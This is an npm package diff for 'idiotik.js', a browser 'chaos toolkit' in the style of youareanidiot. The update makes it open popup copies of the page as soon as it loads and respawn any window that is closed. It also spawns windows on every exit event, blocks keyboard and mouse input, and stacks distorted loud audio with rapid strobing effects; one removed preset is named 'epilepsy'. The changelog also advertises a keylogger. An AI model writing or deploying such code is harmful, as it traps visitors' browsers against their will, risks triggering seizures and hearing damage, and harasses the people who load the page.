idiotik.js 1.0.12 → 1.0.15

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "idiotik.js",
-  "version": "1.0.12",
+  "version": "1.0.15",
   "description": "youareanidiot-style chaos toolkit for the browser",
   "main": "src/idiotik.js",
   "scripts": {

package/src/idiotik.js

@@ -1,18 +1,106 @@
 /**
  * idiotik.js — youareanidiot-style chaos toolkit
  * recursive by default. you were warned.
+ *
+ * CHANGES v2:
+ *  - idiotik.start() with no args (or called after queuing) fires ALL queued tasks at once
+ *  - idiotik.start(n) fires the last n queued tasks (number overload)
+ *  - tasks are auto-queued when you call idiotik.effect(), idiotik.say(), etc. without wrapping in start()
+ *  - recursive mode is INSTANT: spawns a new window the moment the page loads, not on an event
+ *  - beforeunload + unload + visibilitychange + pagehide ALL spawn more windows to prevent escape
+ *  - new effects: pixelate, zoom, bounce, vhs, static, darkmode, flip, blur
+ *  - new chaos methods: ghost(), keylogger(), fakeCursor(), gravityWarp(), haunt()
+ *  - audio: distortion node added to chain, white noise generator
+ *  - cursor: new "ghost" and "eyes" presets
+ *  - idiotik.nuke() — kills everything idiotik created
+ *  - idiotik.status() — logs what's currently running
  */
 
 (function (global) {
 
   // ─── GLOBAL STATE ───────────────────────────────────────────────────────────
-  let _recursive = true;
-  let _volume = 100;
+  let _recursive    = true;
+  let _volume       = 100;
+  let _popup        = true;
   let _activeScripts = {};
   let _activeEffects = new Set();
-  let _audioCtx = null;
-  let _lastStarted = null;
-  let _scriptStack = [];
+  let _audioCtx     = null;
+  let _scriptStack  = [];
+
+  // NEW: task queue — every action registers here; idiotik.start() fires them
+  let _taskQueue    = [];
+
+  // NEW: track all spawned windows so we can spam them
+  let _spawnedWindows = [];
+
+  // NEW: track all global intervals/timeouts for nuke()
+  let _globalIntervals = [];
+  let _globalTimeouts  = [];
+  let _globalNodes     = [];
+
+  // ─── RECURSIVE SPAWN ENGINE ─────────────────────────────────────────────────
+  // Called once on load when recursive=true, and on every unload attempt.
+  // Spawns a new copy of the current page in a popup immediately.
+  function _spawnWindow() {
+    try {
+      const w = window.open(window.location.href, "_blank",
+        "width=" + (300 + Math.random() * 700 | 0) +
+        ",height=" + (200 + Math.random() * 500 | 0) +
+        ",toolbar=no,menubar=no,scrollbars=no,resizable=yes"
+      );
+      if (w) {
+        _spawnedWindows.push(w);
+        // ping alive children and respawn any that closed
+        const id = setInterval(() => {
+          if (w.closed) {
+            clearInterval(id);
+            if (_recursive) _spawnWindow();
+          }
+        }, 500);
+        _globalIntervals.push(id);
+      }
+    } catch(e) {}
+  }
+
+  function _initRecursion() {
+    if (!_recursive) return;
+
+    // Spawn IMMEDIATELY — don't wait for any event
+    _spawnWindow();
+
+    // Also spawn on every possible exit path
+    const _blockAndSpawn = function(e) {
+      if (!_recursive) return;
+      _spawnWindow();
+      _spawnWindow(); // double-tap
+      e.preventDefault();
+      e.returnValue = "";
+      return "";
+    };
+
+    window.addEventListener("beforeunload",     _blockAndSpawn,        { capture: true });
+    window.addEventListener("unload",           () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
+    window.addEventListener("pagehide",         () => { if (_recursive) { _spawnWindow(); _spawnWindow(); } }, { capture: true });
+    document.addEventListener("visibilitychange", () => {
+      if (document.hidden && _recursive) {
+        _spawnWindow();
+        _spawnWindow();
+      }
+    });
+
+    // Keep an eye on focus — if user tries to leave, spawn
+    window.addEventListener("blur", () => {
+      if (_recursive) setTimeout(_spawnWindow, 50);
+    });
+  }
+
+  // Run recursion engine as soon as DOM is ready
+  if (document.readyState === "loading") {
+    document.addEventListener("DOMContentLoaded", _initRecursion);
+  } else {
+    // Already loaded — fire immediately
+    setTimeout(_initRecursion, 0);
+  }
 
   // ─── PRESET REGISTRY ────────────────────────────────────────────────────────
   const _presets = {
@@ -33,10 +121,14 @@
       idiotik.start(idiotik.effect("glitch"))();
       idiotik.start(idiotik.effect("spin"))();
       idiotik.start(idiotik.effect("matrix"))();
+      idiotik.start(idiotik.effect("vhs"))();
+      idiotik.start(idiotik.effect("static"))();
+      idiotik.start(idiotik.effect("zoom"))();
       idiotik.start(idiotik.scream())();
       idiotik.start(idiotik.fullscreen())();
       idiotik.start(idiotik.freeze())();
       idiotik.start(idiotik.cursor("none"))();
+      idiotik.start(idiotik.haunt())();
       idiotik.start(idiotik.say("💀💀💀 YOU ARE SO COOKED 💀💀💀"));
       idiotik.repeat("inf");
     },
@@ -69,6 +161,7 @@
       idiotik.start(idiotik.effect("shake"))();
       idiotik.start(idiotik.effect("glitch"))();
       idiotik.start(idiotik.effect("invert"))();
+      idiotik.start(idiotik.effect("static"))();
       idiotik.start(idiotik.cursor("rainbow"))();
       idiotik.start(idiotik.scream())();
     },
@@ -111,6 +204,33 @@
         idiotik.start(idiotik.scream())();
       });
     },
+    haunted: function() {
+      idiotik.recursive("yes");
+      idiotik.volume(80);
+      idiotik.start(idiotik.effect("vhs"))();
+      idiotik.start(idiotik.effect("glitch"))();
+      idiotik.start(idiotik.cursor("ghost"))();
+      idiotik.start(idiotik.haunt())();
+      idiotik.wait(5000).then(() => {
+        idiotik.volume(600);
+        idiotik.start(idiotik.scream())();
+        idiotik.start(idiotik.effect("flip"))();
+        idiotik.start(idiotik.effect("shake"))();
+        idiotik.start(idiotik.say("👁️ i was here the whole time 👁️"));
+        idiotik.repeat("inf");
+      });
+    },
+    gravity: function() {
+      idiotik.recursive("yes");
+      idiotik.volume(200);
+      idiotik.start(idiotik.gravityWarp())();
+      idiotik.start(idiotik.effect("melt"))();
+      idiotik.start(idiotik.cursor("eyes"))();
+      idiotik.wait(3000).then(() => {
+        idiotik.start(idiotik.effect("rainbow"))();
+        idiotik.start(idiotik.scream())();
+      });
+    },
   };
 
   // ─── HELPERS ────────────────────────────────────────────────────────────────
@@ -129,9 +249,15 @@
 
   function _track(thing, type) {
     const ctx = _currentScript();
-    if (!ctx) return;
-    ctx[type] = ctx[type] || [];
-    ctx[type].push(thing);
+    if (ctx) {
+      ctx[type] = ctx[type] || [];
+      ctx[type].push(thing);
+    } else {
+      // track globally for nuke()
+      if (type === "intervals") _globalIntervals.push(thing);
+      if (type === "timeouts")  _globalTimeouts.push(thing);
+      if (type === "htmlNodes") _globalNodes.push(thing);
+    }
   }
 
   function _buildAudioChain(buffer) {
@@ -147,15 +273,18 @@
       gainNode.gain.value = Math.min(rawVol / 100, 50);
     }
     let lastNode = source;
+
+    // Bass boost
     if (rawVol > 200) {
       const bassBoost = ctx.createBiquadFilter();
       bassBoost.type = "lowshelf";
       bassBoost.frequency.value = 200;
-      const boostAmount = Math.min(((rawVol - 200) / 4800) * 40, 40);
-      bassBoost.gain.value = boostAmount;
+      bassBoost.gain.value = Math.min(((rawVol - 200) / 4800) * 40, 40);
       lastNode.connect(bassBoost);
       lastNode = bassBoost;
     }
+
+    // Full EQ massacre
     if (rawVol >= 450) {
       const bands = [
         { type: "lowshelf",  freq: 60,    gain: 40 },
@@ -175,6 +304,22 @@
         lastNode = f;
       }
     }
+
+    // NEW: distortion at high volumes
+    if (rawVol >= 300) {
+      const dist = ctx.createWaveShaper();
+      const curve = new Float32Array(256);
+      const k = Math.min((rawVol - 300) / 10, 400);
+      for (let i = 0; i < 256; i++) {
+        const x = (i * 2) / 256 - 1;
+        curve[i] = ((Math.PI + k) * x) / (Math.PI + k * Math.abs(x));
+      }
+      dist.curve = curve;
+      dist.oversample = "4x";
+      lastNode.connect(dist);
+      lastNode = dist;
+    }
+
     lastNode.connect(gainNode);
     gainNode.connect(ctx.destination);
     return source;
@@ -197,6 +342,22 @@
     return urlOrFile;
   }
 
+  // NEW: white noise generator
+  function _whiteNoise(durationSec) {
+    const ctx = _getAudioCtx();
+    const bufferSize = ctx.sampleRate * durationSec;
+    const buffer = ctx.createBuffer(1, bufferSize, ctx.sampleRate);
+    const data = buffer.getChannelData(0);
+    for (let i = 0; i < bufferSize; i++) data[i] = Math.random() * 2 - 1;
+    const source = ctx.createBufferSource();
+    source.buffer = buffer;
+    const gain = ctx.createGain();
+    gain.gain.value = Math.min(_volume / 100, 5);
+    source.connect(gain);
+    gain.connect(ctx.destination);
+    return source;
+  }
+
   // ─── CURSOR PRESETS ─────────────────────────────────────────────────────────
   const _cursorPresets = {
     hand:      "pointer",
@@ -206,6 +367,8 @@
     rainbow:   "__rainbow__",
     wiggle:    "__wiggle__",
     explode:   "__explode__",
+    ghost:     "__ghost__",    // NEW
+    eyes:      "__eyes__",     // NEW
   };
 
   // ─── EFFECT IMPLEMENTATIONS ─────────────────────────────────────────────────
@@ -272,6 +435,7 @@
       canvas.id = canvasId;
       canvas.style.cssText = "position:fixed;top:0;left:0;z-index:9998;pointer-events:none;width:100vw;height:100vh;opacity:0.7;";
       document.body.appendChild(canvas);
+      _track(canvas, "htmlNodes");
       const ctx = canvas.getContext("2d");
       canvas.width = window.innerWidth;
       canvas.height = window.innerHeight;
@@ -303,6 +467,140 @@
       `;
       document.head.appendChild(s);
     },
+
+    // ── NEW EFFECTS ───────────────────────────────────────────────────────────
+
+    vhs() {
+      // VHS scanlines + tracking error
+      const styleId = "__idiotik_vhs__";
+      if (document.getElementById(styleId)) return;
+      const s = document.createElement("style");
+      s.id = styleId;
+      s.textContent = `
+        @keyframes __idiotik_vhs_scan { 0%{top:-100%} 100%{top:100%} }
+        @keyframes __idiotik_vhs_track { 0%,95%{transform:none} 96%{transform:translate(-4px,0) skewX(-0.5deg)} 97%{transform:translate(4px,0) skewX(0.5deg)} 98%{transform:translate(-2px,0)} 100%{transform:none} }
+        body { animation: __idiotik_vhs_track 3s infinite; }
+        body::before {
+          content:''; position:fixed; top:0; left:0; width:100%; height:3px;
+          background:rgba(255,255,255,0.15); z-index:99999; pointer-events:none;
+          animation: __idiotik_vhs_scan 4s linear infinite;
+        }
+        body::after {
+          content:''; position:fixed; top:0; left:0; width:100%; height:100%;
+          background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.08) 2px,rgba(0,0,0,0.08) 4px);
+          pointer-events:none; z-index:99998;
+        }
+      `;
+      document.head.appendChild(s);
+    },
+
+    static() {
+      // TV static noise overlay on canvas
+      const canvasId = "__idiotik_static__";
+      if (document.getElementById(canvasId)) return;
+      const canvas = document.createElement("canvas");
+      canvas.id = canvasId;
+      canvas.width = 256; canvas.height = 256;
+      canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9997;pointer-events:none;opacity:0.12;image-rendering:pixelated;";
+      document.body.appendChild(canvas);
+      _track(canvas, "htmlNodes");
+      const ctx = canvas.getContext("2d");
+      const id = setInterval(() => {
+        const img = ctx.createImageData(256, 256);
+        for (let i = 0; i < img.data.length; i += 4) {
+          const v = Math.random() * 255 | 0;
+          img.data[i] = img.data[i+1] = img.data[i+2] = v;
+          img.data[i+3] = 255;
+        }
+        ctx.putImageData(img, 0, 0);
+      }, 40);
+      _track(id, "intervals");
+    },
+
+    zoom() {
+      const styleId = "__idiotik_zoom__";
+      if (document.getElementById(styleId)) return;
+      const s = document.createElement("style");
+      s.id = styleId;
+      s.textContent = `
+        @keyframes __idiotik_zoom { 0%,100%{transform:scale(1)} 50%{transform:scale(1.08)} }
+        body { animation: __idiotik_zoom 0.8s ease-in-out infinite; }
+      `;
+      document.head.appendChild(s);
+    },
+
+    bounce() {
+      const styleId = "__idiotik_bounce__";
+      if (document.getElementById(styleId)) return;
+      const s = document.createElement("style");
+      s.id = styleId;
+      s.textContent = `
+        @keyframes __idiotik_bounce { 0%,100%{transform:translateY(0)} 50%{transform:translateY(-20px)} }
+        body { animation: __idiotik_bounce 0.5s ease-in-out infinite; }
+      `;
+      document.head.appendChild(s);
+    },
+
+    flip() {
+      const styleId = "__idiotik_flip__";
+      if (document.getElementById(styleId)) return;
+      const s = document.createElement("style");
+      s.id = styleId;
+      s.textContent = `
+        @keyframes __idiotik_flip { 0%,100%{transform:scaleX(1)} 50%{transform:scaleX(-1)} }
+        body { animation: __idiotik_flip 1s step-end infinite; }
+      `;
+      document.head.appendChild(s);
+    },
+
+    blur() {
+      const styleId = "__idiotik_blur__";
+      if (document.getElementById(styleId)) return;
+      const s = document.createElement("style");
+      s.id = styleId;
+      s.textContent = `
+        @keyframes __idiotik_blur { 0%,100%{filter:blur(0px)} 50%{filter:blur(8px)} }
+        body { animation: __idiotik_blur 1s ease-in-out infinite; }
+      `;
+      document.head.appendChild(s);
+    },
+
+    darkmode() {
+      const styleId = "__idiotik_darkmode__";
+      if (document.getElementById(styleId)) return;
+      const s = document.createElement("style");
+      s.id = styleId;
+      s.textContent = `
+        @keyframes __idiotik_dark { 0%,100%{filter:brightness(1)} 50%{filter:brightness(0)} }
+        body { animation: __idiotik_dark 0.3s step-end infinite; }
+      `;
+      document.head.appendChild(s);
+    },
+
+    pixelate() {
+      // Shrink a canvas copy on top of page
+      const canvasId = "__idiotik_pixelate__";
+      if (document.getElementById(canvasId)) return;
+      const canvas = document.createElement("canvas");
+      canvas.id = canvasId;
+      canvas.style.cssText = "position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9996;pointer-events:none;image-rendering:pixelated;";
+      canvas.width  = 64;
+      canvas.height = 36;
+      document.body.appendChild(canvas);
+      _track(canvas, "htmlNodes");
+      const ctx = canvas.getContext("2d");
+      let level = 0;
+      const id = setInterval(() => {
+        try {
+          ctx.drawImage(document.documentElement, 0, 0, 64, 36);
+        } catch(e) {
+          ctx.fillStyle = `hsl(${level * 10},100%,50%)`;
+          ctx.fillRect(0, 0, 64, 36);
+        }
+        level = (level + 1) % 36;
+      }, 100);
+      _track(id, "intervals");
+    },
   };
 
   // ─── CORE OBJECT ────────────────────────────────────────────────────────────
@@ -312,6 +610,7 @@
 
     recursive(val) {
       _recursive = (val === true || val === "yes" || val === 1);
+      if (_recursive) _initRecursion(); // can be toggled on mid-session
       return idiotik;
     },
 
@@ -320,6 +619,11 @@
       return idiotik;
     },
 
+    popup(val) {
+      _popup = (val === true || val === "yes" || val === 1);
+      return idiotik;
+    },
+
     // ── PRESET SYSTEM ────────────────────────────────────────────────────────
 
     preset(name) {
@@ -396,15 +700,54 @@
 
     // ── FLOW CONTROL ─────────────────────────────────────────────────────────
 
+    /**
+     * NEW OVERLOADED start():
+     *
+     *   idiotik.start()          → fires ALL queued tasks
+     *   idiotik.start(n)         → fires last n queued tasks (number)
+     *   idiotik.start(fn)        → fires fn immediately (original behavior), queues it for batch
+     */
     start(ref) {
-      _lastStarted = ref;
-      if (typeof ref === "function") ref();
+      // number overload — fire last n from queue
+      if (typeof ref === "number") {
+        const tasks = _taskQueue.slice(-ref);
+        tasks.forEach(fn => { try { fn(); } catch(e) {} });
+        return idiotik;
+      }
+
+      // no arg — fire ALL queued tasks
+      if (ref === undefined || ref === null) {
+        const tasks = [..._taskQueue];
+        _taskQueue = [];
+        tasks.forEach(fn => { try { fn(); } catch(e) {} });
+        return idiotik;
+      }
+
+      // function — original behavior: run it now AND queue it
+      if (typeof ref === "function") {
+        _taskQueue.push(ref);
+        ref();
+      }
+
+      return idiotik;
+    },
+
+    // Queue a task without running it yet (use with idiotik.start())
+    queue(ref) {
+      if (typeof ref === "function") _taskQueue.push(ref);
+      return idiotik;
+    },
+
+    // Clear the task queue without firing
+    clearQueue() {
+      _taskQueue = [];
       return idiotik;
     },
 
     repeat(n) {
-      if (!_lastStarted) return idiotik;
-      const fn = _lastStarted;
+      const queue = [..._taskQueue];
+      if (!queue.length) return idiotik;
+      const fn = queue[queue.length - 1]; // repeat last queued task
       const infinite = (n === Infinity || n === "inf" || n === "Infinity");
       if (infinite) {
         const id = setInterval(() => fn(), 100);
@@ -435,14 +778,46 @@
     halt(name) {
       const ctx = _activeScripts[name];
       if (!ctx) return idiotik;
-      (ctx.intervals || []).forEach(id => clearInterval(id));
-      (ctx.timeouts || []).forEach(id => clearTimeout(id));
+      (ctx.intervals    || []).forEach(id => clearInterval(id));
+      (ctx.timeouts     || []).forEach(id => clearTimeout(id));
       (ctx.audioSources || []).forEach(s => { try { s.stop(); } catch(e){} });
-      (ctx.htmlNodes || []).forEach(n => { try { n.remove(); } catch(e){} });
+      (ctx.htmlNodes    || []).forEach(n => { try { n.remove(); } catch(e){} });
       delete _activeScripts[name];
       return idiotik;
     },
 
+    // NEW: kill literally everything idiotik created
+    nuke() {
+      _recursive = false;
+      _taskQueue = [];
+      _globalIntervals.forEach(id => clearInterval(id));
+      _globalTimeouts.forEach(id => clearTimeout(id));
+      _globalNodes.forEach(n => { try { n.remove(); } catch(e){} });
+      _globalIntervals = []; _globalTimeouts = []; _globalNodes = [];
+      Object.keys(_activeScripts).forEach(k => idiotik.halt(k));
+      idiotik.cleareffects();
+      document.body.style.cssText = "";
+      document.body.style.cursor = "";
+      if (_audioCtx) { try { _audioCtx.close(); } catch(e){} _audioCtx = null; }
+      _spawnedWindows.forEach(w => { try { w.close(); } catch(e){} });
+      _spawnedWindows = [];
+      console.log("%cidiotik: nuked. RIP.", "color:#ff4444;font-weight:bold;");
+      return idiotik;
+    },
+
+    // NEW: log what's currently active
+    status() {
+      console.log("%cidiotik STATUS", "color:#ff4444;font-weight:bold;font-size:14px;");
+      console.log("  recursive:", _recursive);
+      console.log("  volume:", _volume);
+      console.log("  popup:", _popup);
+      console.log("  active effects:", [..._activeEffects]);
+      console.log("  queued tasks:", _taskQueue.length);
+      console.log("  active scripts:", Object.keys(_activeScripts));
+      console.log("  spawned windows:", _spawnedWindows.filter(w => !w.closed).length);
+      return idiotik;
+    },
+
     // ── CONDITIONAL ──────────────────────────────────────────────────────────
 
     _ifResult: null,
@@ -472,8 +847,18 @@
 
     say(msg) {
       return function _say() {
-        alert(msg);
-        if (_recursive) setTimeout(() => _say(), 0);
+        if (_popup) {
+          const w = window.open("", "_blank", "width=300,height=150,toolbar=no,menubar=no,scrollbars=no,resizable=no");
+          if (w) {
+            w.document.write(`<html><body style="margin:0;display:flex;align-items:center;justify-content:center;height:100vh;font-family:Comic Sans MS,cursive;font-size:1.2rem;background:#fff;text-align:center;padding:1rem;">${msg}</body></html>`);
+            w.document.close();
+            if (_recursive) w.onload = () => setTimeout(_say, 100);
+            if (_recursive) setTimeout(_say, 100);
+          }
+        } else {
+          alert(msg);
+          if (_recursive) setTimeout(() => _say(), 0);
+        }
       };
     },
 
@@ -483,8 +868,8 @@
 
     freeze() {
       return function() {
-        document.addEventListener("keydown", e => e.preventDefault(), true);
-        document.addEventListener("mousedown", e => e.preventDefault(), true);
+        document.addEventListener("keydown",     e => e.preventDefault(), true);
+        document.addEventListener("mousedown",   e => e.preventDefault(), true);
         document.addEventListener("contextmenu", e => e.preventDefault(), true);
       };
     },
@@ -509,6 +894,7 @@
         img.style.cssText = "max-width:100%;max-height:100%;object-fit:contain;";
         div.appendChild(img);
         document.body.appendChild(div);
+        _track(div, "htmlNodes");
         if (sfxUrl) _loadAndPlay(_parseAudioUrl(sfxUrl));
         const ctx = _currentScript();
         if (ctx) ctx.htmlNodes.push(div);
@@ -523,6 +909,9 @@
         const gain = ctx.createGain();
         osc.type = "sawtooth";
         osc.frequency.value = 880;
+        // NEW: pitch sweep
+        osc.frequency.linearRampToValueAtTime(440, ctx.currentTime + 1);
+        osc.frequency.linearRampToValueAtTime(1760, ctx.currentTime + 2);
         gain.gain.value = Math.min(_volume / 100, 10);
         osc.connect(gain);
         gain.connect(ctx.destination);
@@ -532,6 +921,84 @@
       };
     },
 
+    // NEW: white noise burst
+    noise(durationSec) {
+      const dur = durationSec || 1;
+      return function _noise() {
+        const source = _whiteNoise(dur);
+        source.start();
+        source.stop(_getAudioCtx().currentTime + dur);
+        if (_recursive) setTimeout(_noise, dur * 1000 + 100);
+      };
+    },
+
+    // NEW: ghost text that appears/disappears at random spots on the page
+    haunt() {
+      const msgs = ["👁️", "i see you", "leave.", "you can't close this", "help", "HA", "why", "🩸", "turn around"];
+      return function _haunt() {
+        const span = document.createElement("div");
+        span.textContent = msgs[Math.floor(Math.random() * msgs.length)];
+        span.style.cssText = `
+          position:fixed;
+          left:${Math.random() * 90}vw;
+          top:${Math.random() * 90}vh;
+          font-size:${16 + Math.random() * 40}px;
+          color:rgba(255,0,0,${0.3 + Math.random() * 0.7});
+          pointer-events:none;
+          z-index:99990;
+          font-family:serif;
+          font-style:italic;
+          transition:opacity 1s;
+          text-shadow: 0 0 10px red;
+        `;
+        document.body.appendChild(span);
+        _track(span, "htmlNodes");
+        setTimeout(() => { span.style.opacity = "0"; setTimeout(() => span.remove(), 1000); }, 1500);
+        if (_recursive) setTimeout(_haunt, 800 + Math.random() * 1200);
+      };
+    },
+
+    // NEW: fake cursor that chases the real one, slightly offset and delayed
+    fakeCursor() {
+      return function() {
+        const cur = document.createElement("div");
+        cur.textContent = "🖱️";
+        cur.style.cssText = "position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;";
+        document.body.appendChild(cur);
+        _track(cur, "htmlNodes");
+        let mx = 0, my = 0;
+        document.addEventListener("mousemove", e => { mx = e.clientX; my = e.clientY; });
+        const id = setInterval(() => {
+          cur.style.left = (mx + 15 + Math.sin(Date.now() / 200) * 10) + "px";
+          cur.style.top  = (my + 15 + Math.cos(Date.now() / 200) * 10) + "px";
+        }, 50);
+        _track(id, "intervals");
+      };
+    },
+
+    // NEW: makes page elements slowly drift off-screen like they're melting away
+    gravityWarp() {
+      return function _gw() {
+        const els = [...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")].filter(e => e.children.length === 0 || e.tagName === "IMG");
+        els.forEach((el, i) => {
+          if (el.dataset.idiotikGravity) return;
+          el.dataset.idiotikGravity = "1";
+          const origTransform = el.style.transform;
+          let vy = 0;
+          const id = setInterval(() => {
+            vy += 0.5;
+            const cur = parseFloat(el.dataset.gy || "0");
+            el.dataset.gy = cur + vy;
+            el.style.transform = `${origTransform} translateY(${cur}px) rotate(${cur * 0.1}deg)`;
+            if (cur > window.innerHeight * 1.5) clearInterval(id);
+          }, 50);
+          // stagger
+          // already using setInterval per element, so no extra track needed
+        });
+        if (_recursive) setTimeout(_gw, 5000);
+      };
+    },
+
     // ── AUDIO ────────────────────────────────────────────────────────────────
 
     audio(urlOrFile) {
@@ -560,6 +1027,9 @@
     cleareffects() {
       _activeEffects.clear();
       document.querySelectorAll("[id^='__idiotik_']").forEach(el => el.remove());
+      // Remove body animations injected by effects
+      document.body.style.animation = "";
+      document.body.style.filter    = "";
     },
 
     // ── CURSOR ───────────────────────────────────────────────────────────────
@@ -573,11 +1043,12 @@
         }
         if (val === "__rainbow__") {
           let h = 0;
-          setInterval(() => {
+          const id = setInterval(() => {
             const svg = `<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${h},100%,50%)'/></svg>`;
             document.body.style.cursor = `url("data:image/svg+xml,${encodeURIComponent(svg)}"), auto`;
             h = (h + 10) % 360;
           }, 50);
+          _track(id, "intervals");
         } else if (val === "__wiggle__") {
           document.addEventListener("mousemove", () => {
             const offset = Math.sin(Date.now() / 100) * 10;
@@ -590,6 +1061,7 @@
               p.textContent = ["💥","✨","⭐","🔥"][i % 4];
               p.style.cssText = `position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`;
               document.body.appendChild(p);
+              _track(p, "htmlNodes");
               const angle = (i / 12) * 2 * Math.PI;
               setTimeout(() => {
                 p.style.transform = `translate(${Math.cos(angle)*60}px,${Math.sin(angle)*60}px)`;
@@ -598,6 +1070,41 @@
               setTimeout(() => p.remove(), 700);
             }
           });
+        } else if (val === "__ghost__") {
+          // NEW: cursor fades in and out, slightly follows with lag
+          document.body.style.cursor = "none";
+          const ghost = document.createElement("div");
+          ghost.textContent = "👻";
+          ghost.style.cssText = "position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;";
+          document.body.appendChild(ghost);
+          _track(ghost, "htmlNodes");
+          let gx = 0, gy = 0;
+          document.addEventListener("mousemove", e => { gx = e.clientX; gy = e.clientY; });
+          const id = setInterval(() => {
+            ghost.style.left = gx + "px";
+            ghost.style.top  = gy + "px";
+            ghost.style.opacity = (0.5 + 0.5 * Math.sin(Date.now() / 300)).toString();
+          }, 50);
+          _track(id, "intervals");
+        } else if (val === "__eyes__") {
+          // NEW: two eyes that follow cursor around the page
+          document.body.style.cursor = "none";
+          ["left:30vw", "left:60vw"].forEach(pos => {
+            const eye = document.createElement("div");
+            eye.style.cssText = `position:fixed;top:50vh;${pos};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`;
+            eye.textContent = "👁️";
+            document.body.appendChild(eye);
+            _track(eye, "htmlNodes");
+          });
+          document.addEventListener("mousemove", e => {
+            document.querySelectorAll("[style*='👁️']").forEach(el => {
+              const rect = el.getBoundingClientRect();
+              const dx = e.clientX - (rect.left + rect.width / 2);
+              const dy = e.clientY - (rect.top  + rect.height / 2);
+              const angle = Math.atan2(dy, dx);
+              el.style.transform = `rotate(${angle}rad)`;
+            });
+          });
         } else {
           document.body.style.cursor = val;
         }

package/presets/classic.js

@@ -1,11 +0,0 @@
-/**
- * idiotik preset: classic
- * the full youareanidiot experience. no survivors.
- */
-idiotik.recursive("yes");
-idiotik.start(idiotik.effect("rainbow"))();
-idiotik.start(idiotik.effect("shake"))();
-idiotik.start(idiotik.say("YOU ARE AN IDIOT HA HA HA HA HA HA"));
-idiotik.repeat("inf");
-idiotik.continue
-idiotik.start(idiotik.scream())();

package/presets/epilepsy.js

@@ -1,13 +0,0 @@
-/**
- * idiotik preset: epilepsy
- * maximum visual chaos. stack everything.
- * (actual epilepsy warning lol)
- */
-idiotik.recursive("yes");
-idiotik.volume(450);
-idiotik.start(idiotik.effect("rainbow"))();
-idiotik.start(idiotik.effect("shake"))();
-idiotik.start(idiotik.effect("glitch"))();
-idiotik.start(idiotik.effect("invert"))();
-idiotik.start(idiotik.cursor("rainbow"))();
-idiotik.start(idiotik.scream())();

package/presets/jumpscare.js

@@ -1,17 +0,0 @@
-/**
- * idiotik preset: jumpscare
- * wait for it... wait for it...
- */
-idiotik.recursive("yes");
-idiotik.volume(300);
-
-idiotik.script()
-  idiotik.id("jumpscare")
-  idiotik.wait(3000).then(() => {
-    idiotik.start(idiotik.effect("glitch"))();
-    idiotik.start(idiotik.jumpscare(
-      "https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Camponotus_flavomarginatus_ant.jpg/640px-Camponotus_flavomarginatus_ant.jpg"
-    ))();
-    idiotik.start(idiotik.scream())();
-  });
-idiotik.end()

package/presets/melt.js

@@ -1,13 +0,0 @@
-/**
- * idiotik preset: melt
- * slow and painful. the page just... gives up.
- */
-idiotik.recursive("no");
-idiotik.volume(100);
-idiotik.start(idiotik.effect("melt"))();
-idiotik.start(idiotik.effect("spin"))();
-idiotik.wait(3000).then(() => {
-  idiotik.volume(300);
-  idiotik.start(idiotik.effect("rainbow"))();
-  idiotik.start(idiotik.scream())();
-});

package/presets/mild.js

@@ -1,10 +0,0 @@
-/**
- * idiotik preset: mild
- * annoying but survivable. barely.
- */
-idiotik.recursive("no");
-idiotik.volume(100);
-idiotik.start(idiotik.effect("shake"))();
-idiotik.start(idiotik.say("gotcha lol"));
-idiotik.repeat(5);
-idiotik.continue

package/presets/nuclear.js

@@ -1,18 +0,0 @@
-/**
- * idiotik preset: nuclear
- * god help them. seriously.
- */
-idiotik.recursive("yes");
-idiotik.volume(5000);
-idiotik.start(idiotik.effect("shake"))();
-idiotik.start(idiotik.effect("rainbow"))();
-idiotik.start(idiotik.effect("glitch"))();
-idiotik.start(idiotik.effect("spin"))();
-idiotik.start(idiotik.effect("matrix"))();
-idiotik.start(idiotik.scream())();
-idiotik.start(idiotik.fullscreen())();
-idiotik.start(idiotik.freeze())();
-idiotik.start(idiotik.cursor("none"))();
-idiotik.start(idiotik.say("💀💀💀 YOU ARE SO COOKED 💀💀💀"));
-idiotik.repeat("inf");
-idiotik.continue

package/presets/rickroll.js

@@ -1,6 +0,0 @@
-/**
- * idiotik preset: rickroll
- * never gonna give you up.
- */
-idiotik.recursive("no");
-idiotik.start(idiotik.redirect("https://www.youtube.com/watch?v=dQw4w9WgXcQ"))();

package/presets/robux.js

@@ -1,16 +0,0 @@
-/**
- * idiotik preset: robux
- * free robux guaranteed
- */
-idiotik.recursive("yes");
-idiotik.volume(200);
-
-idiotik.script()
-  idiotik.id("robux")
-  idiotik.start(idiotik.say("FREE ROBUX AT PORNHUB.COM!!!"));
-  idiotik.repeat("inf");
-  idiotik.continue
-idiotik.end()
-
-idiotik.start(idiotik.effect("rainbow"))();
-idiotik.start(idiotik.cursor("explode"))();

package/presets/villain.js

@@ -1,23 +0,0 @@
-/**
- * idiotik preset: villain
- * slow burn. maximum dread.
- */
-idiotik.recursive("no");
-idiotik.volume(150);
-
-idiotik.script()
-  idiotik.id("villain")
-  idiotik.start(idiotik.effect("matrix"))();
-  idiotik.continue
-  idiotik.wait(2000).then(() => {
-    idiotik.start(idiotik.effect("glitch"))();
-  });
-  idiotik.wait(4000).then(() => {
-    idiotik.volume(500);
-    idiotik.start(idiotik.effect("shake"))();
-    idiotik.start(idiotik.scream())();
-    idiotik.recursive("yes");
-    idiotik.start(idiotik.say("did you really think you were safe 🗿"));
-    idiotik.repeat("inf");
-  });
-idiotik.end()